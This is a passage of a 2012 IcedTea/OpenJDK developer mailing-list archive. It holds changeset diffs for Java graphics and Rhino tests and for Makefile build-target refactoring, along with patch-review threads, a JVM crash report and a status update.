Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_GRAY); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_USHORT_565_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeUshort565RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_565_RGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_USHORT_555_RGB. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageTypeUshort555RGB(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_USHORT_555_RGB); + } + + /** + * Test basic BitBlt operation for black and white dots pattern buffered image with type TYPE_3BYTE_BGR. + * + * @param image + * image used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltBWDotsBufferedImageType3ByteBGR(TestImage image, Graphics2D graphics2d) + { + // create new buffered image and then perform basic BitBlt test. + return CommonBitmapOperations.doBitBltTestWithBWDotsImage(image, graphics2d, BufferedImage.TYPE_3BYTE_BGR); + } + + /** * Test basic BitBlt operation for color dots pattern buffered image * with type TYPE_BYTE_BINARY. * From ptisnovs at icedtea.classpath.org Wed Dec 19 02:00:24 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 19 Dec 2012 10:00:24 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 3b33320797eb in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=3b33320797eb author: Pavel Tisnovsky date: Wed Dec 19 11:03:19 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptExceptionClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptExceptionClassTest.java | 75 ++++++++++++++++++++++++ 2 files changed, 80 insertions(+), 0 deletions(-) diffs (111 lines): diff -r 499bf38b565f -r 3b33320797eb ChangeLog --- a/ChangeLog Tue Dec 18 10:49:01 2012 +0100 +++ b/ChangeLog Wed Dec 19 11:03:19 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-19 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptExceptionClassTest.java: + Added three new tests into this test case. + 2012-12-18 Pavel Tisnovsky * src/org/RhinoTests/ScriptEngineFactoryClassTest.java: diff -r 499bf38b565f -r 3b33320797eb src/org/RhinoTests/ScriptExceptionClassTest.java --- a/src/org/RhinoTests/ScriptExceptionClassTest.java Tue Dec 18 10:49:01 2012 +0100 +++ b/src/org/RhinoTests/ScriptExceptionClassTest.java Wed Dec 19 11:03:19 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -389,6 +390,28 @@ } /** + * Test for method javax.script.ScriptException.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptExceptionClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptException.getClass().getMethods() */ protected void testGetMethods() { @@ -495,6 +518,58 @@ } /** + * Test for method javax.script.ScriptException.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptExceptionClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptException.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptExceptionClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptException */ @SuppressWarnings("cast") From ChrisPhi at LGonQn.Org Wed Dec 19 04:36:42 2012 From: ChrisPhi at LGonQn.Org (Chris Phillips @ T O) Date: Wed, 19 Dec 2012 07:36:42 -0500 Subject: run -Xcomp -help error In-Reply-To: <65381218.d1cc.13bb2550462.Coremail.amiko212@126.com> References: <50D11601.9010108@RedHat.Com> <65381218.d1cc.13bb2550462.Coremail.amiko212@126.com> Message-ID: <50D1B4DA.90904@LGonQn.Org> Hi There are many problems with shark and llvm 3.1, particularly in the area of memory synchronization. Roman Kennke is porting shark into jdk8 and is using llvm 3.2 for that work. If you can upgrade maybe that will help, Chris On 19/12/12 03:43 AM, liu chao jun wrote: > HI all , > when i working on IcedTea 1-11-4 against shark .3.1 on the ,when run > -Xcomp -help the following error happened after finish its execution > ,And I found it seems there is samewhere which should used "JR"but > use"JARL" so the addrss jump to a wrong memory address , unluckly ,i > can find the address where it used ,of course maybe there is other > reasons that can lead to this error,Is anybody met this or similar > this ago , thank you very much ! > it seems a > Exception in thread "main" java.lang.NullPointerException: > at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:796) > at > sun.util.LocaleServiceProviderPool.getPool(LocaleServiceProviderPool.java:96) > at java.text.DecimalFormatS! > ymbols.getInstance(DecimalFormatSymbols.java:147) > at java.text.NumberFormat.getInstance(NumberFormat.java:767) > at java.text.NumberFormat.getInstance(NumberFormat.java:393) > at java.text.MessageFormat.subformat(MessageFormat.java:1254) > at java.text.MessageFormat.format(MessageFormat.java:853) > at java.text.Format.format(Format.java:157) > at java.text.MessageFormat.format(MessageFormat.java:829) > at sun.launcher.LauncherHelp.getLocalizedMessage(LauncherHelp.java:63) > at sun.launcher.LauncherHelp.initHelpMessage(LauncherHelp.java:75) > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/9bc6ca32/attachment.html From ChrisPhi at LGonQn.Org Wed Dec 19 06:26:52 2012 From: ChrisPhi at LGonQn.Org (Chris Phillips @ T O) Date: Wed, 19 Dec 2012 09:26:52 -0500 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <2075166354.17785309.1355926575525.JavaMail.root@redhat.com> References: <2075166354.17785309.1355926575525.JavaMail.root@redhat.com> Message-ID: <50D1CEAC.3040603@LGonQn.Org> Hi Andrew On 19/12/12 09:16 AM, Andrew Hughes wrote: > > ----- Original Message ----- >> Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. >> >> Please review. >> >> Cheers! >> Chris >> >> PS >> Webrev is here: >> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ >> >> >> > Is this upstream? If so, what bug ID(s) does it include? I see none in the webrev. Sorry, Yes its a backport of Roman's fix for 8000780 : "make Zero build and run with JDK8" which was putback by twisti at the end of October. Its nearly identical except for the need to backout the Permgen Removal stuff. Cheers! Chris From adomurad at redhat.com Wed Dec 19 06:35:34 2012 From: adomurad at redhat.com (Adam Domurad) Date: Wed, 19 Dec 2012 09:35:34 -0500 Subject: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix Message-ID: <50D1D0B6.4050105@redhat.com> The unit test infrastructure + tests: 2012-12-XX Adam Domurad * tests/cpp-unit-tests/browser_mock.cc (mock_retainobject): New, mocks behaviour of NPAPI retainobject (mock_releaseobject): New, mocks behaviour of NPAPI releaseobject * tests/cpp-unit-tests/main.cc: Add warning of memory leak based on operator-new. * tests/cpp-unit-tests/IcedTeaScriptablePluginObjectTest.cc: New, tests for memory leak in (IcedTeaScriptableJavaObject::deAllocate) and (IcedTeaScriptableJavaPackageObject::deAllocate) * tests/cpp-unit-tests/checked_allocations.h: Defines set that does not use operator-new, to prevent recursion in overloaded operator-new * tests/cpp-unit-tests/checked_allocations.cc: Operator new overload that has allocation-set for querying live allocations. The fix: 2012-12-XX Adam Domurad * plugin/icedteanp/IcedTeaScriptablePluginObject.cc (IcedTeaScriptableJavaObject::deAllocate): Fix memory leak (IcedTeaScriptableJavaPackageObject::deAllocate): Fix memory leak -------------- next part -------------- A non-text attachment was scrubbed... Name: operatornew-check.patch Type: text/x-patch Size: 12130 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/2c30702f/operatornew-check.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: operatornew-fix.patch Type: text/x-patch Size: 704 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121219/2c30702f/operatornew-fix.patch From gnu.andrew at redhat.com Wed Dec 19 06:16:15 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Wed, 19 Dec 2012 09:16:15 -0500 (EST) Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D11601.9010108@RedHat.Com> Message-ID: <2075166354.17785309.1355926575525.JavaMail.root@redhat.com> ----- Original Message ----- > Attached patch is a backport of Roman's jdk8 fixes to Icedtea7-head. > > Please review. > > Cheers! > Chris > > PS > Webrev is here: > http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > > > Is this upstream? If so, what bug ID(s) does it include? I see none in the webrev. -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From adomurad at redhat.com Wed Dec 19 07:13:54 2012 From: adomurad at redhat.com (Adam Domurad) Date: Wed, 19 Dec 2012 10:13:54 -0500 Subject: Status December 19th, 2012 Message-ID: <50D1D9B2.1010803@redhat.com> Last status report of 2012... exciting isn't it This week: patches: [rfc][icedtea-web] C++ unit-tests for memory leak w/ simple leak-detecting operator-new, along with fix Re: Regression in icedtea-web - parent classsloader have been stopped to be invoked [rfc][icedtea-web] Rewrite of MethodOverloadResolver [rfc][icedtea-web] Minor addition to C++ testing; cleanup reviews: Re: [rfc][icedtea-web] @Remote and automated manual testcases Re: [rfc][icedtea-web] Reproducer of BeansStatement behaviour x2 Re: [rfc][icedtea-web] a new reproducer LiveConnect "function parameters" tests Re: [rfc] icedtea-web minor fix for two unittests x2 misc: Took a small detour from looking into the deadlock but will get back into it 'Small refactoring' of MethodOverloadResolver lead to finding many issues, spent some time making sure that it matched the (thankfully somewhat loose) spec exactly with in-depth unit tests. Looked into failure of ITW failing when used with ASAN. It's not clear to me whether ASAN works with dynamically loaded shared objects. - Wrote some additional C++ unit tests so that ASAN behaviour could be tested 'in a vacuum' and everything seems fine with static linking - Without ASAN browser -- very weird segfault with ASAN+plugin, with ASAN browser, fails 'globals check' that seems to pass when not in browser environment It would be nice to get this working as it'd complement runs of the test suite. Lots of patch reviewing Next week: Pick up work again on deadlock Look into expiring-signatures issue From gnu.andrew at redhat.com Wed Dec 19 09:01:57 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Wed, 19 Dec 2012 12:01:57 -0500 (EST) Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <50D1CEAC.3040603@LGonQn.Org> Message-ID: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> ----- Original Message ----- > Hi Andrew > > > > > On 19/12/12 09:16 AM, Andrew Hughes wrote: > > > > ----- Original Message ----- > >> Attached patch is a backport of Roman's jdk8 fixes to > >> Icedtea7-head. > >> > >> Please review. > >> > >> Cheers! > >> Chris > >> > >> PS > >> Webrev is here: > >> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > >> > >> > >> > > Is this upstream? If so, what bug ID(s) does it include? I see > > none in the webrev. > Sorry, > Yes its a backport of Roman's fix for 8000780 : "make Zero build and > run > with JDK8" > which was putback by twisti at the end of October. Its nearly > identical > except for > the need to backout the Permgen Removal stuff. > Ah, thanks! Do you know what the route is for getting it into 7u? Do we need to suggest it or will they just pull it in with a bulk HotSpot update? > Cheers! > Chris > > -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From rkennke at redhat.com Wed Dec 19 09:11:17 2012 From: rkennke at redhat.com (Roman Kennke) Date: Wed, 19 Dec 2012 18:11:17 +0100 Subject: RFR: Fix zero fail to build in icedtea7-head... In-Reply-To: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> References: <794628811.17881552.1355936517959.JavaMail.root@redhat.com> Message-ID: <1355937077.1746.55.camel@mercury> Am Mittwoch, den 19.12.2012, 12:01 -0500 schrieb Andrew Hughes: > ----- Original Message ----- > > Hi Andrew > > > > > > > > > > On 19/12/12 09:16 AM, Andrew Hughes wrote: > > > > > > ----- Original Message ----- > > >> Attached patch is a backport of Roman's jdk8 fixes to > > >> Icedtea7-head. > > >> > > >> Please review. > > >> > > >> Cheers! > > >> Chris > > >> > > >> PS > > >> Webrev is here: > > >> http://integral-portal.lgonqn.org/temp/ChrisPhi/it7-h-20121212_zero/ > > >> > > >> > > >> > > > Is this upstream? If so, what bug ID(s) does it include? I see > > > none in the webrev. > > Sorry, > > Yes its a backport of Roman's fix for 8000780 : "make Zero build and > > run > > with JDK8" > > which was putback by twisti at the end of October. Its nearly > > identical > > except for > > the need to backout the Permgen Removal stuff. > > > > Ah, thanks! Do you know what the route is for getting it into 7u? Do > we need to suggest it or will they just pull it in with a bulk HotSpot update? I would guess that we need to suggest it, and I also think that this is our plan. However, it sortof depends on another big change that needs to go into 7up first, Twisti already proposed it, but I think it got stuck. Roman From andrew at icedtea.classpath.org Wed Dec 19 10:39:03 2012 From: andrew at icedtea.classpath.org (andrew at icedtea.classpath.org) Date: Wed, 19 Dec 2012 18:39:03 +0000 Subject: /hg/icedtea7: 4 new changesets Message-ID: changeset e4795c01aba3 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=e4795c01aba3 author: Andrew John Hughes date: Tue Dec 18 23:22:20 2012 +0000 Move SystemTap support to a separate target. 2010-09-22 Andrew John Hughes Move SystemTap support to a separate target. * Makefile.am: (.PHONY): Add clean-add-systemtap and clean-add-systemtap-debug. (icedtea): Remove systemtap support. (icedtea-debug): Likewise. (icedtea-stage2): Depend on add-systemtap. (icedtea-debug-stage2): Depend on add-systemtap-debug. (add-systemtap): New target to add SystemTap support to the build. (add-systemtap-debug): Likewise for debug. (clean-add-systemtap): Remove SystemTap support from the build. (clean-add-systemtap-debug): Likewise for debug. changeset f4bc8075e7c6 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=f4bc8075e7c6 author: Andrew John Hughes date: Wed Dec 19 14:45:44 2012 +0000 Separate PulseAudio addition into separate targets. 2010-09-23 Andrew John Hughes * Makefile.am: (.PHONY): Add clean-add-pulseaudio and clean-add-pulseaudio-debug. (clean-local): Likewise. (icedtea): Remove pulse-java support and dependency. (add-pulseaudio): New target to add PulseAudio support to the build. (clean-add-pulseaudio): Remove PulseAudio support from the build. (icedtea-debug): Remove pulse-java support and dependency. (add-pulseaudio-debug): Likewise for debug. (clean-add-pulseaudio-debug): Likewise for debug. (icedtea-stage2): Depend on add-pulseaudio. (icedtea-debug-stage2): Depend on add-pulseaudio-debug. changeset ae5547ae8c75 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=ae5547ae8c75 author: Andrew John Hughes date: Wed Dec 19 16:38:02 2012 +0000 Separate addition of NSS and timezone data support into separate targets. 2010-09-23 Andrew John Hughes * Makefile.am: (.PHONY): Add clean-add-nss, clean-add-nss-debug, clean-add-tzdata-support and clean-add-tzdata-support-debug. (clean-local): Likewise. (icedtea): Remove NSS and tzdata support. (add-nss): New target to add NSS support to the build. (clean-add-nss): Remove NSS support from the build. (add-tzdata-support): New target to add alternate timezone data support to the build. (clean-add-tzdata-support): Remove alternate timezone data support from the build. (icedtea-debug): Remove NSS and tzdata support. (add-nss-debug): Likewise for debug. (clean-add-nss-debug): Likewise for debug. (add-tzdata-support-debug): Likewise for debug. (clean-add-tzdata-support-debug): Likewise for debug. (icedtea-stage2): Depend on add-nss and add-tzdata-support. (icedtea-debug-stage2): Depend on add-nss-debug and add-tzdata-support-debug. changeset 1a8e93b7fe96 in /hg/icedtea7 details: http://icedtea.classpath.org/hg/icedtea7?cmd=changeset;node=1a8e93b7fe96 author: Andrew John Hughes date: Wed Dec 19 18:38:08 2012 +0000 Support additional targets for the bootstrap build. 2010-09-24 Andrew John Hughes * Makefile.am: (.PHONY): Add new clean targets. Fix name. (add-systemtap-boot): Add SystemTap support to the boot build. (clean-add-systemtap-boot): Remove SystemTap support from the boot build. (add-pulseaudio-boot): New target to add PulseAudio support to the boot build. (clean-add-pulseaudio-boot): Remove PulseAudio support from the boot build. (add-nss-boot): New target to add NSS support to the boot build. (clean-add-nss-boot): Remove NSS support from the boot build. (add-tzdata-support-boot): New target to add alternate timezone data support to the boot build. (clean-add-tzdata-support-boot): Remove alternate timezone data support from the boot build. (icedtea-stage1): Add new add-x-boot targets. (clean-icedtea-stage1): Add new clean-add-x-boot targets. diffstat: ChangeLog | 65 +++++++++++++ Makefile.am | 281 +++++++++++++++++++++++++++++++++++++++++++++++------------ 2 files changed, 287 insertions(+), 59 deletions(-) diffs (465 lines): diff -r ff15cee90ed8 -r 1a8e93b7fe96 ChangeLog --- a/ChangeLog Tue Dec 04 11:00:41 2012 +0000 +++ b/ChangeLog Wed Dec 19 18:38:08 2012 +0000 @@ -1,3 +1,68 @@ +2010-09-24 Andrew John Hughes + + * Makefile.am: + (.PHONY): Add new clean targets. Fix name. + (add-systemtap-boot): Add SystemTap support to the boot build. + (clean-add-systemtap-boot): Remove SystemTap support from the boot build. + (add-pulseaudio-boot): New target to add PulseAudio support to the boot build. + (clean-add-pulseaudio-boot): Remove PulseAudio support from the boot build. + (add-nss-boot): New target to add NSS support to the boot build. + (clean-add-nss-boot): Remove NSS support from the boot build. + (add-tzdata-support-boot): New target to add alternate timezone data support to the boot build. + (clean-add-tzdata-support-boot): Remove alternate timezone data support from the boot build. + (icedtea-stage1): Add new add-x-boot targets. + (clean-icedtea-stage1): Add new clean-add-x-boot targets. + +2010-09-23 Andrew John Hughes + + * Makefile.am: + (.PHONY): Add clean-add-nss, clean-add-nss-debug, + clean-add-tzdata-support and clean-add-tzdata-support-debug. + (clean-local): Likewise. + (icedtea): Remove NSS and tzdata support. + (add-nss): New target to add NSS support to the build. + (clean-add-nss): Remove NSS support from the build. + (add-tzdata-support): New target to add alternate timezone data support to the build. + (clean-add-tzdata-support): Remove alternate timezone data support from the build. + (icedtea-debug): Remove NSS and tzdata support. + (add-nss-debug): Likewise for debug. + (clean-add-nss-debug): Likewise for debug. + (add-tzdata-support-debug): Likewise for debug. + (clean-add-tzdata-support-debug): Likewise for debug. + (icedtea-stage2): Depend on add-nss and add-tzdata-support. + (icedtea-debug-stage2): Depend on add-nss-debug and add-tzdata-support-debug. + +2010-09-23 Andrew John Hughes + + * Makefile.am: + (.PHONY): Add clean-add-pulseaudio and + clean-add-pulseaudio-debug. + (clean-local): Likewise. + (icedtea): Remove pulse-java support and dependency. + (add-pulseaudio): New target to add PulseAudio support to the build. + (clean-add-pulseaudio): Remove PulseAudio support from the build. + (icedtea-debug): Remove pulse-java support and dependency. + (add-pulseaudio-debug): Likewise for debug. + (clean-add-pulseaudio-debug): Likewise for debug. + (icedtea-stage2): Depend on add-pulseaudio. + (icedtea-debug-stage2): Depend on add-pulseaudio-debug. + +2010-09-22 Andrew John Hughes + + Move SystemTap support to a separate target. + * Makefile.am: + (.PHONY): Add clean-add-systemtap and + clean-add-systemtap-debug. + (clean-local): Likewise. + (icedtea): Remove systemtap support. + (icedtea-debug): Likewise. + (icedtea-stage2): Depend on add-systemtap. + (icedtea-debug-stage2): Depend on add-systemtap-debug. + (add-systemtap): New target to add SystemTap support to the build. + (add-systemtap-debug): Likewise for debug. + (clean-add-systemtap): Remove SystemTap support from the build. + (clean-add-systemtap-debug): Likewise for debug. + 2012-12-04 Andrew John Hughes * patches/boot/ecj-opts.patch: diff -r ff15cee90ed8 -r 1a8e93b7fe96 Makefile.am --- a/Makefile.am Tue Dec 04 11:00:41 2012 +0000 +++ b/Makefile.am Wed Dec 19 18:38:08 2012 +0000 @@ -790,7 +790,9 @@ clean-bootstrap-directory-symlink-stage1 clean-bootstrap-directory-symlink-stage2 \ clean-extract clean-generated clean-native-ecj clean-hgforest clean-icedtea-stage2 \ clean-icedtea-debug-stage2 clean-icedtea-stage1 clean-add-zero clean-add-zero-debug \ - clean-add-cacao clean-add-cacao-debug clean-rt clean-rewrite-rhino clean-rewriter + clean-add-cacao clean-add-cacao-debug clean-rt clean-rewrite-rhino clean-rewriter \ + clean-add-systemtap clean-add-systemtap-debug clean-add-pulseaudio clean-add-pulseaudio-debug \ + clean-add-nss clean-add-nss-debug clean-add-tzdata-support clean-add-tzdata-support-debug if [ -e bootstrap ]; then \ rmdir bootstrap ; \ fi @@ -820,7 +822,10 @@ jtregcheck clean-remove-intree-libraries \ clean-jamvm clean-extract-jamvm clean-add-jamvm clean-add-jamvm-debug \ clean-extract-hotspot clean-sanitise-openjdk \ - clean-tests clean-tapset-report + clean-tests clean-tapset-report clean-add-systemtap \ + clean-add-systemtap-debug clean-add-pulseaudio clean-add-pulseaudio-debug \ + clean-add-nss clean-add-nss-debug clean-add-tzdata-support clean-add-tzdata-support-debug \ + clean-add-systemtap-boot clean-add-pulseaudio-boot clean-add-nss-boot clean-add-tzdata-support-boot env: @echo 'unset JAVA_HOME' @@ -1688,8 +1693,7 @@ # you change it in the icedtea-debug target as well. stamps/icedtea.stamp: stamps/bootstrap-directory-symlink-stage2.stamp \ stamps/download.stamp stamps/extract.stamp $(OPENJDK_TREE) \ - stamps/cacao.stamp $(PULSE_JAVA_TARGET) stamps/rewrite-rhino.stamp \ - stamps/jamvm.stamp + stamps/cacao.stamp stamps/rewrite-rhino.stamp stamps/jamvm.stamp $(ARCH_PREFIX) $(MAKE) -j1 \ $(ICEDTEA_ENV) \ -C openjdk/ \ @@ -1699,18 +1703,6 @@ mkdir -p $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) mkdir -p $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext mkdir -p $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext -if ENABLE_PULSE_JAVA - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) - cp -pPRf pulse-java.jar \ - $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext - cp -pPRf pulse-java.jar \ - $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext - (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ - $(ZIP) -qur $(BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) -endif if ZERO_BUILD printf -- '-zero ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg endif @@ -1720,6 +1712,14 @@ if ENABLE_CACAO printf -- '-cacao ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg endif +if ENABLE_JAMVM + printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg +endif + @echo "IcedTea is served:" $(BUILD_OUTPUT_DIR) + mkdir -p stamps + touch $@ + +stamps/add-systemtap.stamp: stamps/icedtea.stamp if ENABLE_SYSTEMTAP mkdir -p $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset ; \ grep "client IGNORE" $(BUILD_JRE_ARCH_DIR)/jvm.cfg; \ @@ -1744,23 +1744,58 @@ cp $(abs_top_builddir)/tapset/jstack.stp \ $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset/jstack.stp endif + touch stamps/add-systemtap.stamp + +clean-add-systemtap: + rm -rf $(BUILD_OUTPUT_DIR)/j2sdk-image/tapset + rm -f stamps/add-systemtap.stamp + +stamps/add-pulseaudio.stamp: stamps/icedtea.stamp $(PULSE_JAVA_TARGET) +if ENABLE_PULSE_JAVA + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) + cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ + $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) + cp -pPRf pulse-java.jar \ + $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext + cp -pPRf pulse-java.jar \ + $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext + (cd $(PULSE_JAVA_JAVA_SRCDIR) && \ + $(ZIP) -qur $(BUILD_OUTPUT_DIR)/j2sdk-image/src.zip org ) +endif + touch stamps/add-pulseaudio.stamp + +# Note: for simplicity, we don't revert the update of src.zip +clean-add-pulseaudio: + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR)/libpulse-java.so + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext/pulse-java.jar + rm -f $(BUILD_OUTPUT_DIR)/j2re-image/lib/ext/pulse-java.jar + rm -f stamps/add-pulseaudio.stamp + +stamps/add-nss.stamp: stamps/icedtea.stamp cp $(abs_top_builddir)/nss.cfg \ $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security; + touch stamps/add-nss.stamp + +clean-add-nss: + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/security/nss.cfg + rm -f stamps/add-nss.stamp + +stamps/add-tzdata-support.stamp: stamps/icedtea.stamp if WITH_TZDATA_DIR cp $(abs_top_builddir)/tz.properties \ $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib; endif -if ENABLE_JAMVM - printf -- '-jamvm ALIASED_TO -server\n' >> $(BUILD_JRE_ARCH_DIR)/jvm.cfg -endif - @echo "IcedTea is served:" $(BUILD_OUTPUT_DIR) - mkdir -p stamps - touch $@ + touch stamps/add-tzdata-support.stamp + +clean-add-tzdata-support: + rm -f $(BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/tz.properties + rm -f stamps/add-tzdata-support.stamp stamps/icedtea-debug.stamp: stamps/bootstrap-directory-symlink-stage2.stamp \ stamps/download.stamp stamps/extract.stamp $(OPENJDK_TREE) \ - stamps/cacao.stamp $(PULSE_JAVA_TARGET) stamps/rewrite-rhino.stamp \ - stamps/jamvm.stamp + stamps/cacao.stamp stamps/rewrite-rhino.stamp stamps/jamvm.stamp $(ARCH_PREFIX) $(MAKE) -j1 \ $(ICEDTEA_ENV) \ -C openjdk/ \ @@ -1770,18 +1805,6 @@ mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext mkdir -p $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/ext -if ENABLE_PULSE_JAVA - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/$(INSTALL_ARCH_DIR) - cp -pPRf $(PULSE_JAVA_NATIVE_BUILDDIR)/libpulse-java.so \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2re-image/lib/$(INSTALL_ARCH_DIR) - cp -pPRf pulse-java.jar \ - $(DEBUG_BUILD_OUTPUT_DIR)/j2sdk-image/jre/lib/ext - cp -pPRf pulse-java.jar \ - 